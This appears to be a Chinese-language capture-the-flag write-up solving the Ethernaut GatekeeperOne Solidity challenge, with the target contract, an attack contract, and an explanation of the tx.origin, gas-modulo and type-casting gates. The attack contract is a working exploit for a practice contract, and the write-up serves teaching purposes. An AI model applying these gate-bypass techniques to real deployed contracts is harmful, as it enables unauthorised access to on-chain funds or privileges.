漏洞合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
contract attack{
bytes8 res = bytes8(uint64(tx.origin)&0xFFFFFFFF0000FFFF);
GatekeeperOne gate=GatekeeperOne(0xA8Ab6c93e36F4bB8c01682207d0921d4c2311B0f);
function att()public{
gate.enter(res);
}
}
分析:
完成挑战需要在这三个函数修改器里面解决三个不同的小难题;否则,合约就会被回退。
gateOne:msg.sender
和tx.origin
。(之前文章也写过)
破解第一个门,我们必须了解msg.sender
和tx.origin
是什么,它们之间有什么区别。
msg.sender
(address
): 消息的发送者 (当前调用)tx.origin
(address
): 交易的发送者(完整的调用链)
当交易由EOA (外部账号)发起时,它直接与智能合约交互,这两个变量将具有相同的值。但是,如果它与一个中间人合约A
交互,然后通过直接(call)调用(不是delegatecall
)另一个合约B
,在 B 合约里这些值将是不同的,在这种情况下。
msg.sender
将是A
合约的地址tx.origin
将是EOA地址地址。
因为要使gateOne
不被回退,我们需要让msg.sender != tx.origin
,这意味着我们必须从智能合约中调用enter
,而不是直接从EOA中调用。因此需要写一个攻击合约。
gateTwo: gasleft()
.
从Solidity文档中关于全局变量,我们知道gasleft() returns (uint256)
是一个函数,用于返回交易中剩余的Gas。
重要的是要知道每个Solidity指令实际上是一系列低级EVM操作码的高级表示。在执行了 "GAS "操作码(在EVM操作码文档网站上阅读更多信息)后,返回值是在执行了 "GAS "操作码后的剩余Gas量,该操作码目前花费2个Gas。
事情在这里变得过于复杂,因为要通过 "gateTwo"的检查,你必须使用使用一个非常具体的Gaslimit值,使 gasleft().mod(8191)
返回 0
(剩余Gas必须是8191的倍数)。
这个我们只能先执行一遍然后去debug模式下查看。
gateThree
考察了solidity的类型转换,这儿以_gateKey
是0x12345678deadbeef
为例阐明
uint32(uint64(_gateKey))
转化后会取低位,所以变成0xdeadbeef
,uint16(uint64(_gateKey))
同理睬变成0xbeef
,uint16和uint32在比较的时分,较小的类型uint16会在左面填充0,也便是会变成0x0000beef和0xdeadbeef做比较.
我们用“与”就可以实现上述要求
bytes8 key = bytes8(uint64(tx.origin) & 0xFFFFFFFF0000FFFF);
攻击合约
contract attack{
bytes8 res = bytes8(uint64(tx.origin)&0xFFFFFFFF0000FFFF);
GatekeeperOne gate=GatekeeperOne(0xA8Ab6c93e36F4bB8c01682207d0921d4c2311B0f);
function att()public{
gate.enter(res);
}
}